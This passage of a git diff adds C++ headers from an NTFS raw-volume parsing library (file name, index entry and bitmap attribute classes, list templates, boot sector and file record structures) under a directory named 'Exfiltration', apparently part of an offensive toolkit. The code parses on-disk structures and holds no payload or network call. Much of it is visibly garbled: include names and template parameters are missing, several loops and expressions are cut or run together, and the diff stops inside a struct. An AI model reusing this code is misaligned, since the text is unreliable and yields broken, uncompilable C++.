IndexEntry +//////////////////////////////////////// +class CFileName +{ +public: + CFileName(ATTR_FILE_NAME *fn = NULL); + virtual ~CFileName(); + +protected: + const ATTR_FILE_NAME *FileName; // May be NULL for an IndexEntry + wchar_t *FileNameWUC; // Uppercase Unicode File Name, used to compare file names + int FileNameLength; + BOOL IsCopy; + + __inline void SetFileName(ATTR_FILE_NAME *fn); + void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn); + +private: + void GetFileNameWUC(); + +public: + int Compare(const wchar_t *fn) const; + int Compare(const char *fn) const; + + __inline ULONGLONG GetFileSize() const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + int GetFileName(char *buf, DWORD bufLen) const; + int GetFileName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL HasName() const; + __inline BOOL IsWin32Name() const; + + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; +}; // CFileName + +CFileName::CFileName(ATTR_FILE_NAME *fn) +{ + IsCopy = FALSE; + + FileName = fn; + + FileNameWUC = NULL; + FileNameLength = 0; + + if (fn) + GetFileNameWUC(); +} + +CFileName::~CFileName() +{ + if (FileNameWUC) + delete FileNameWUC; +} + +__inline void CFileName::SetFileName(ATTR_FILE_NAME *fn) +{ + FileName = fn; + + GetFileNameWUC(); +} + +// Copy pointer buffers +void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn) +{ + if (!IsCopy) + { + NTFS_TRACE("Cannot call this routine\n"); + return; + } + + _ASSERT(fn && afn); + + NTFS_TRACE("FileName Copied\n"); + + if (FileNameWUC) + delete FileNameWUC; + + FileNameLength = fn->FileNameLength; + FileName = afn; + + if (fn->FileNameWUC) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + wcsncpy(FileNameWUC, fn->FileNameWUC, FileNameLength); + FileNameWUC[FileNameLength] = wchar_t('\0'); + } + else + FileNameWUC = NULL; +} + +// Get uppercase unicode filename and store it in a buffer +void CFileName::GetFileNameWUC() +{ +#ifdef _DEBUG + char fna[MAX_PATH]; + GetFileName(fna, MAX_PATH); // Just show filename in debug window +#endif + + if (FileNameWUC) + { + delete FileNameWUC; + FileNameWUC = NULL; + FileNameLength = 0; + } + + wchar_t fns[MAX_PATH]; + FileNameLength = GetFileName(fns, MAX_PATH); + + if (FileNameLength > 0) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + for (int i=0; i MAX_PATH) + return 1; // Assume bigger + + wchar_t fns[MAX_PATH]; + + for (int i=0; iRealSize : 0; +} + +__inline DWORD CFileName::GetFilePermission() const +{ + return FileName ? FileName->Flags : 0; +} + +__inline BOOL CFileName::IsReadOnly() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_READONLY) : FALSE; +} + +__inline BOOL CFileName::IsHidden() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_HIDDEN) : FALSE; +} + +__inline BOOL CFileName::IsSystem() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SYSTEM) : FALSE; +} + +__inline BOOL CFileName::IsDirectory() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_DIRECTORY) : FALSE; +} + +__inline BOOL CFileName::IsCompressed() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_COMPRESSED) : FALSE; +} + +__inline BOOL CFileName::IsEncrypted() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_ENCRYPTED) : FALSE; +} + +__inline BOOL CFileName::IsSparse() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SPARSE) : FALSE; +} + +// Get ANSI File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(char *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + int len = 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + len = WideCharToMultiByte(CP_ACP, 0, (wchar_t*)FileName->Name, FileName->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("File Name: %s\n", buf); + NTFS_TRACE4("File Permission: %s\t%c%c%c\n", IsDirectory()?"Directory":"File", + IsReadOnly()?'R':' ', IsHidden()?'H':' ', IsSystem()?'S':' '); + } + else + { + NTFS_TRACE("Unrecognized File Name or FileName buffer too small\n"); + } + } + + return len; +} + +// Get Unicode File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(wchar_t *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + bufLen = FileName->NameLength; + wcsncpy(buf, (wchar_t*)FileName->Name, bufLen); + buf[bufLen] = wchar_t('\0'); + + return bufLen; + } + + return 0; +} + +__inline BOOL CFileName::HasName() const +{ + return FileNameLength > 0; +} + +__inline BOOL CFileName::IsWin32Name() const +{ + if (FileName == NULL || FileNameLength <= 0) + return FALSE; + + return (FileName->NameSpace != ATTR_FILENAME_NAMESPACE_DOS); // POSIX, WIN32, WIN32_DOS +} + +// Change from UTC time to local time +void CFileName::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + CAttr_StdInfo::UTC2Local(FileName ? FileName->AlterTime : 0, writeTm); + + if (createTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->CreateTime : 0, createTm); + + if (accessTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->ReadTime : 0, accessTm); +} + + +//////////////////////////////// +// Attribute: File Name +//////////////////////////////// +class CAttr_FileName : public CAttrResident, public CFileName +{ +public: + CAttr_FileName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: File Name\n"); + + SetFileName((ATTR_FILE_NAME*)AttrBody); + } + + virtual ~CAttr_FileName() + { + NTFS_TRACE("CAttr_FileName deleted\n"); + } + +private: + // File permission and time in $FILE_NAME only updates when the filename changes + // So hide these functions to prevent user from getting the error information + // Standard Information and IndexEntry keeps the most recent file time and permission infomation + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const {} + __inline DWORD GetFilePermission(){} + __inline BOOL IsReadOnly() const {} + __inline BOOL IsHidden() const {} + __inline BOOL IsSystem() const {} + __inline BOOL IsCompressed() const {} + __inline BOOL IsEncrypted() const {} + __inline BOOL IsSparse() const {} +}; // CAttr_FileName + + +////////////////////////////////// +// Attribute: Volume Information +////////////////////////////////// +class CAttr_VolInfo : public CAttrResident +{ +public: + CAttr_VolInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Information\n"); + + VolInfo = (ATTR_VOLUME_INFORMATION*)AttrBody; + } + + virtual ~CAttr_VolInfo() + { + NTFS_TRACE("CAttr_VolInfo deleted\n"); + } + +private: + const ATTR_VOLUME_INFORMATION *VolInfo; + +public: + // Get NTFS Volume Version + __inline WORD GetVersion() + { + return MAKEWORD(VolInfo->MinorVersion, VolInfo->MajorVersion); + } +}; // CAttr_VolInfo + + +/////////////////////////// +// Attribute: Volume Name +/////////////////////////// +class CAttr_VolName : public CAttrResident +{ +public: + CAttr_VolName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Name\n"); + + NameLength = AttrBodySize >> 1; + VolNameU = new wchar_t[NameLength+1]; + VolNameA = new char[NameLength+1]; + + memcpy(VolNameU, AttrBody, AttrBodySize); + VolNameU[NameLength] = wchar_t('\0'); + + int len = WideCharToMultiByte(CP_ACP, 0, VolNameU, NameLength, + VolNameA, NameLength, NULL, NULL); + VolNameA[NameLength] = '\0'; + } + + virtual ~CAttr_VolName() + { + NTFS_TRACE("CAttr_VolName deleted\n"); + + delete VolNameU; + delete VolNameA; + } + +private: + wchar_t *VolNameU; + char *VolNameA; + DWORD NameLength; + +public: + // Get NTFS Volume Unicode Name + __inline int GetName(wchar_t *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + wcsncpy(buf, VolNameU, NameLength+1); + return NameLength; + } + + // ANSI Name + __inline int GetName(char *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + strncpy(buf, VolNameA, NameLength+1); + return NameLength; + } +}; // CAttr_VolInfo + + +///////////////////////////////////// +// Attribute: Data +///////////////////////////////////// +template +class CAttr_Data : public TYPE_RESIDENT +{ +public: + CAttr_Data(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) + { + NTFS_TRACE1("Attribute: Data (%sResident)\n", IsNonResident() ? "Non" : ""); + } + + virtual ~CAttr_Data() + { + NTFS_TRACE("CAttr_Data deleted\n"); + } +}; // CAttr_Data + + +///////////////////////////// +// Index Entry helper class +///////////////////////////// +class CIndexEntry : public CFileName +{ +public: + CIndexEntry() + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = TRUE; + + IndexEntry = NULL; + SetFileName(NULL); + } + + CIndexEntry(const INDEX_ENTRY *ie) + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = FALSE; + + _ASSERT(ie); + IndexEntry = ie; + + if (IsSubNodePtr()) + { + NTFS_TRACE("Points to sub-node\n"); + } + + if (ie->StreamSize) + { + SetFileName((ATTR_FILE_NAME*)(ie->Stream)); + } + else + { + NTFS_TRACE("No FileName stream found\n"); + } + } + + virtual ~CIndexEntry() + { + // Never touch *IndexEntry here if IsCopy == FALSE ! + // As the memory have been deallocated by ~CIndexBlock() + + if (IsCopy && IndexEntry) + delete (void*)IndexEntry; + + NTFS_TRACE("CIndexEntry deleted\n"); + } + +private: + BOOL IsDefault; + +protected: + const INDEX_ENTRY *IndexEntry; + +public: + // Use with caution ! + CIndexEntry& operator = (const CIndexEntry &ieClass) + { + if (!IsDefault) + { + NTFS_TRACE("Cannot call this routine\n"); + return *this; + } + + NTFS_TRACE("Index Entry Copied\n"); + + IsCopy = TRUE; + + if (IndexEntry) + { + delete (void*)IndexEntry; + IndexEntry = NULL; + } + + const INDEX_ENTRY *ie = ieClass.IndexEntry; + _ASSERT(ie && (ie->Size > 0)); + + IndexEntry = (INDEX_ENTRY*)new BYTE[ie->Size]; + memcpy((void*)IndexEntry, ie, ie->Size); + CopyFileName(&ieClass, (ATTR_FILE_NAME*)(IndexEntry->Stream)); + + return *this; + } + + __inline ULONGLONG GetFileReference() const + { + if (IndexEntry) + return IndexEntry->FileReference & 0x0000FFFFFFFFFFFFUL; + else + return (ULONGLONG)-1; + } + + __inline BOOL IsSubNodePtr() const + { + if (IndexEntry) + return (IndexEntry->Flags & INDEX_ENTRY_FLAG_SUBNODE); + else + return FALSE; + } + + __inline ULONGLONG GetSubNodeVCN() const + { + if (IndexEntry) + return *(ULONGLONG*)((BYTE*)IndexEntry + IndexEntry->Size - 8); + else + return (ULONGLONG)-1; + } +}; // CIndexEntry + + +/////////////////////////////// +// Index Block helper class +/////////////////////////////// +class CIndexBlock : public CIndexEntryList +{ +public: + CIndexBlock() + { + NTFS_TRACE("Index Block\n"); + + IndexBlock = NULL; + } + + virtual ~CIndexBlock() + { + NTFS_TRACE("IndexBlock deleted\n"); + + if (IndexBlock) + delete IndexBlock; + } + +private: + INDEX_BLOCK *IndexBlock; + +public: + INDEX_BLOCK *AllocIndexBlock(DWORD size) + { + // Free previous data if any + if (GetCount() > 0) + RemoveAll(); + if (IndexBlock) + delete IndexBlock; + + IndexBlock = (INDEX_BLOCK*)new BYTE[size]; + + return IndexBlock; + } +}; // CIndexBlock + + +///////////////////////////////////// +// Attribute: Index Root (Resident) +///////////////////////////////////// +class CAttr_IndexRoot : public CAttrResident, public CIndexEntryList +{ +public: + CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexRoot(); + +private: + const ATTR_INDEX_ROOT *IndexRoot; + + void ParseIndexEntries(); + +public: + __inline BOOL IsFileName() const; +}; // CAttr_IndexRoot + +CAttr_IndexRoot::CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr): CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Root\n"); + + IndexRoot = (ATTR_INDEX_ROOT*)AttrBody; + + if (IsFileName()) + { + ParseIndexEntries(); + } + else + { + NTFS_TRACE("Index View not supported\n"); + } +} + +CAttr_IndexRoot::~CAttr_IndexRoot() +{ + NTFS_TRACE("CAttr_IndexRoot deleted\n"); +} + +// Get all the index entries +void CAttr_IndexRoot::ParseIndexEntries() +{ + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(IndexRoot->EntryOffset)) + IndexRoot->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= IndexRoot->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } +} + +// Check if this IndexRoot contains FileName or IndexView +__inline BOOL CAttr_IndexRoot::IsFileName() const +{ + return (IndexRoot->AttrType == ATTR_TYPE_FILE_NAME); +} + + +///////////////////////////////////////////// +// Attribute: Index Allocation (NonResident) +///////////////////////////////////////////// +class CAttr_IndexAlloc : public CAttrNonResident +{ +public: + CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexAlloc(); + +private: + ULONGLONG IndexBlockCount; + + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + +public: + __inline ULONGLONG GetIndexBlockCount(); + BOOL ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass); +}; // CAttr_IndexAlloc + +CAttr_IndexAlloc::CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrNonResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Allocation\n"); + + IndexBlockCount = 0; + + if (IsDataRunOK()) + { + // Get total number of Index Blocks + ULONGLONG ibTotalSize; + ibTotalSize = GetDataSize(); + if (ibTotalSize % _IndexBlockSize) + { + NTFS_TRACE2("Cannot calulate number of IndexBlocks, total size = %I64u, unit = %u\n", + ibTotalSize, _IndexBlockSize); + return; + } + IndexBlockCount = ibTotalSize / _IndexBlockSize; + } + else + { + NTFS_TRACE("Index Allocation DataRun parse error\n"); + } +} + +CAttr_IndexAlloc::~CAttr_IndexAlloc() +{ + NTFS_TRACE("CAttr_IndexAlloc deleted\n"); +} + +// Verify US and update sectors +BOOL CAttr_IndexAlloc::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray) +{ + int i; + + for (i=0; i>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +__inline ULONGLONG CAttr_IndexAlloc::GetIndexBlockCount() +{ + return IndexBlockCount; +} + +// Parse a single Index Block +// vcn = Index Block VCN in Index Allocation Data Attributes +// ibClass holds the parsed Index Entries +BOOL CAttr_IndexAlloc::ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass) +{ + if (vcn >= IndexBlockCount) // Bounds check + return FALSE; + + // Allocate buffer for a single Index Block + INDEX_BLOCK *ibBuf = ibClass.AllocIndexBlock(_IndexBlockSize); + + // Sectors Per Index Block + DWORD sectors = _IndexBlockSize / _SectorSize; + + // Read one Index Block + DWORD len; + if (ReadData(vcn*_IndexBlockSize, ibBuf, _IndexBlockSize, &len) && + len == _IndexBlockSize) + { + if (ibBuf->Magic != INDEX_BLOCK_MAGIC) + { + NTFS_TRACE("Index Block parse error: Magic mismatch\n"); + return FALSE; + } + + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)ibBuf + ibBuf->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (!PatchUS((WORD*)ibBuf, sectors, usn, usarray)) + { + NTFS_TRACE("Index Block parse error: Update Sequence Number\n"); + return FALSE; + } + + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(ibBuf->EntryOffset)) + ibBuf->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= ibBuf->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + ibClass.InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } + + return TRUE; + } + else + return FALSE; +} + + +//////////////////////////////////////////// +// Attribute: Bitmap +//////////////////////////////////////////// +template +class CAttr_Bitmap : public TYPE_RESIDENT +{ +public: + CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_Bitmap(); + +private: + ULONGLONG BitmapSize; // Bitmap data size + BYTE *BitmapBuf; // Bitmap data buffer + LONGLONG CurrentCluster; + +public: + BOOL IsClusterFree(const ULONGLONG &cluster) const; +}; // CAttr_Bitmap + +template +CAttr_Bitmap::CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE1("Attribute: Bitmap (%sResident)\n", IsNonResident() ? "Non" : ""); + + CurrentCluster = -1; + + if (IsDataRunOK()) + { + BitmapSize = GetDataSize(); + + if (IsNonResident()) + BitmapBuf = new BYTE[_ClusterSize]; + else + { + BitmapBuf = new BYTE[(DWORD)BitmapSize]; + + DWORD len; + if (!(ReadData(0, BitmapBuf, (DWORD)BitmapSize, &len) + && len == (DWORD)BitmapSize)) + { + BitmapBuf = NULL; + NTFS_TRACE("Read Resident Bitmap data failed\n"); + } + else + { + NTFS_TRACE1("%u bytes of resident Bitmap data read\n", len); + } + } + } + else + { + BitmapSize = 0; + BitmapBuf = 0; + } +} + +template +CAttr_Bitmap::~CAttr_Bitmap() +{ + if (BitmapBuf) + delete BitmapBuf; + + NTFS_TRACE("CAttr_Bitmap deleted\n"); +} + +// Verify if a single cluster is free +template +BOOL CAttr_Bitmap::IsClusterFree(const ULONGLONG &cluster) const +{ + if (!IsDataRunOK() || !BitmapBuf) + return FALSE; + + if (IsNonResident()) + { + LONGLONG idx = (LONGLONG)cluster >> 3; + DWORD clusterSize = ((CNTFSVolume*)Volume)->GetClusterSize(); + + LONGLONG clusterOffset = idx/clusterSize; + cluster -= (clusterOffset*clusterSize*8); + + // Read one cluster of data if buffer mismatch + if (CurrentCluster != clusterOffset) + { + DWORD len; + if (ReadData(clusterOffset, BitmapBuf, clusterSize, &len) && len == clusterSize) + { + CurrentCluster = clusterOffset; + } + else + { + CurrentCluster = -1; + return FALSE; + } + } + } + + // All the Bitmap data is already in BitmapBuf + DWORD idx = (DWORD)(cluster >> 3); + if (IsNonResident() == FALSE) + { + if (idx >= BitmapSize) + return TRUE; // Resident data bounds check error + } + + BYTE fac = (BYTE)(cluster % 8); + + return ((BitmapBuf[idx] & (1< CFileRecordList; + +//////////////////////////////////////////// +// Attribute: Attribute List +//////////////////////////////////////////// +template +class CAttr_AttrList : public TYPE_RESIDENT +{ +public: + CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_AttrList(); + +private: + CFileRecordList FileRecordList; +}; // CAttr_AttrList + +template +CAttr_AttrList::CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE("Attribute: Attribute List\n"); + if (fr->FileReference == (ULONGLONG)-1) + return; + + ULONGLONG offset = 0; + DWORD len; + ATTR_ATTRIBUTE_LIST alRecord; + + while (ReadData(offset, &alRecord, sizeof(ATTR_ATTRIBUTE_LIST), &len) && + len == sizeof(ATTR_ATTRIBUTE_LIST)) + { + if (ATTR_INDEX(alRecord.AttrType) > ATTR_NUMS) + { + NTFS_TRACE("Attribute List parse error1\n"); + break; + } + + NTFS_TRACE1("Attribute List: 0x%04x\n", alRecord.AttrType); + + ULONGLONG recordRef = alRecord.BaseRef & 0x0000FFFFFFFFFFFFUL; + if (recordRef != fr->FileReference) // Skip contained attributes + { + DWORD am = ATTR_MASK(alRecord.AttrType); + if (am & fr->AttrMask) // Skip unwanted attributes + { + CFileRecord *frnew = new CFileRecord(fr->Volume); + FileRecordList.InsertEntry(frnew); + + frnew->AttrMask = am; + if (!frnew->ParseFileRecord(recordRef)) + { + NTFS_TRACE("Attribute List parse error2\n"); + break; + } + frnew->ParseAttrs(); + + // Insert new found AttrList to fr->AttrList + const CAttrBase *ab = (CAttrBase*)frnew->FindFirstAttr(alRecord.AttrType); + while (ab) + { + CAttrList *al = (CAttrList*)&fr->AttrList[ATTR_INDEX(alRecord.AttrType)]; + al->InsertEntry((CAttrBase*)ab); + ab = frnew->FindNextAttr(alRecord.AttrType); + } + + // Throw away frnew->AttrList entries to prevent free twice (fr will delete them) + frnew->AttrList[ATTR_INDEX(alRecord.AttrType)].ThrowAll(); + } + } + + offset += alRecord.RecordSize; + } +} + +template +CAttr_AttrList::~CAttr_AttrList() +{ + NTFS_TRACE("CAttr_AttrList deleted\n"); +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h new file mode 100644 index 00000000..b7c2813d --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h @@ -0,0 +1,317 @@ +/* + * NTFS Class common definitions + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_COMMON_H_CYB70289 +#define __NTFS_COMMON_H_CYB70289 + +#include +#include +#include +#include + +#include "NTFS_DataType.h" + +#define ATTR_NUMS 16 // Attribute Types count +#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2 +#define ATTR_MASK(at) (((DWORD)1)< +struct NTSLIST_ENTRY +{ + NTSLIST_ENTRY *Next; + ENTRY_TYPE *Entry; +}; + +// List Entry Smart Pointer +template +class CEntrySmartPtr +{ +public: + CEntrySmartPtr(ENTRY_TYPE *ptr = NULL) + { + EntryPtr = ptr; + } + + virtual ~CEntrySmartPtr() + { + if (EntryPtr) + delete EntryPtr; + } + +private: + const ENTRY_TYPE *EntryPtr; + +public: + __inline CEntrySmartPtr operator = (const ENTRY_TYPE* ptr) + { + // Delete previous pointer if allocated + if (EntryPtr) + delete EntryPtr; + + EntryPtr = ptr; + + return *this; + } + + __inline const ENTRY_TYPE* operator->() const + { + _ASSERT(EntryPtr); + return EntryPtr; + } + + __inline BOOL IsValid() const + { + return EntryPtr != NULL; + } +}; + +////////////////////////////////////// +// Single list implementation +////////////////////////////////////// +template +class CSList +{ +public: + CSList() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + virtual ~CSList() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY *ListHead; + NTSLIST_ENTRY *ListTail; + NTSLIST_ENTRY *ListCurrent; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to tail + BOOL InsertEntry(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY *le = new NTSLIST_ENTRY; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = NULL; + + if (ListTail == NULL) + ListHead = le; // Empty list + else + ListTail->Next = le; + + ListTail = le; + + EntryCount++; + return TRUE; + } + + // Remove all entries + void RemoveAll() + { + while (ListHead) + { + ListCurrent = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = ListCurrent; + } + + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + // Find first entry + __inline ENTRY_TYPE *FindFirstEntry() const + { + ((CSList*)this)->ListCurrent = ListHead; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Find next entry + __inline ENTRY_TYPE *FindNextEntry() const + { + if (ListCurrent) + ((CSList*)this)->ListCurrent = ListCurrent->Next; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Throw all entries + // Caution! All entries are just thrown without free + __inline void ThrowAll() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } +}; //CSList + + +////////////////////////////////////// +// Stack implementation +////////////////////////////////////// +template +class CStack +{ +public: + CStack() + { + ListHead = ListTail = NULL; + EntryCount = 0; + } + + virtual ~CStack() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY *ListHead; + NTSLIST_ENTRY *ListTail; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to head + BOOL Push(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY *le = new NTSLIST_ENTRY; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = ListHead; + + ListHead = le; + + if (ListTail == NULL) + ListTail = le; // Empty list + + EntryCount ++; + return TRUE; + } + + // Remove from head + ENTRY_TYPE* Pop() + { + if (ListHead == NULL) + return NULL; + + NTSLIST_ENTRY *le = ListHead; + ENTRY_TYPE *e = le->Entry; + + if (ListTail == ListHead) + ListTail = ListHead->Next; + ListHead = ListHead->Next; + + delete le; + EntryCount --; + + return e; + } + + // Remove all entries + void RemoveAll() + { + NTSLIST_ENTRY *le; + + while (ListHead) + { + le = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = le; + } + + ListHead = ListTail = NULL; + EntryCount = 0; + } +}; //CStack + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h new file mode 100644 index 00000000..7d9ccc06 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h @@ -0,0 +1,380 @@ +/* + * NTFS data structures and definitions + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_DATATYPE_H_CYB70289 +#define __NTFS_DATATYPE_H_CYB70289 + +// NTFS Boot Sector BPB + +#define NTFS_SIGNATURE "NTFS " + +#pragma pack(1) +typedef struct tagNTFS_BPB +{ + // jump instruction + BYTE Jmp[3]; + + // signature + BYTE Signature[8]; + + // BPB and extended BPB + WORD BytesPerSector; + BYTE SectorsPerCluster; + WORD ReservedSectors; + BYTE Zeros1[3]; + WORD NotUsed1; + BYTE MediaDescriptor; + WORD Zeros2; + WORD SectorsPerTrack; + WORD NumberOfHeads; + DWORD HiddenSectors; + DWORD NotUsed2; + DWORD NotUsed3; + ULONGLONG TotalSectors; + ULONGLONG LCN_MFT; + ULONGLONG LCN_MFTMirr; + DWORD ClustersPerFileRecord; + DWORD ClustersPerIndexBlock; + BYTE VolumeSN[8]; + + // boot code + BYTE Code[430]; + + //0xAA55 + BYTE _AA; + BYTE _55; +} NTFS_BPB; +#pragma pack() + + +// MFT Indexes +#define MFT_IDX_MFT 0 +#define MFT_IDX_MFT_MIRR 1 +#define MFT_IDX_LOG_FILE 2 +#define MFT_IDX_VOLUME 3 +#define MFT_IDX_ATTR_DEF 4 +#define MFT_IDX_ROOT 5 +#define MFT_IDX_BITMAP 6 +#define MFT_IDX_BOOT 7 +#define MFT_IDX_BAD_CLUSTER 8 +#define MFT_IDX_SECURE 9 +#define MFT_IDX_UPCASE 10 +#define MFT_IDX_EXTEND 11 +#define MFT_IDX_RESERVED12 12 +#define MFT_IDX_RESERVED13 13 +#define MFT_IDX_RESERVED14 14 +#define MFT_IDX_RESERVED15 15 +#define MFT_IDX_USER 16 + + +/****************************** + File Record + --------------------- + | File Record Header| + --------------------- + | Attribute 1 | + --------------------- + | Attribute 2 | + --------------------- + | ...... | + --------------------- + | 0xFFFFFFFF | + --------------------- +*******************************/ + +// File Record Header + +#define FILE_RECORD_MAGIC 'ELIF' +#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use +#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory + +typedef struct tagFILE_RECORD_HEADER +{ + DWORD Magic; // "FILE" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + WORD SeqNo; // Sequence number + WORD Hardlinks; // Hard link count + WORD OffsetOfAttr; // Offset of the first Attribute + WORD Flags; // Flags + DWORD RealSize; // Real size of the FILE record + DWORD AllocSize; // Allocated size of the FILE record + ULONGLONG RefToBase; // File reference to the base FILE record + WORD NextAttrId; // Next Attribute Id + WORD Align; // Align to 4 byte boundary + DWORD 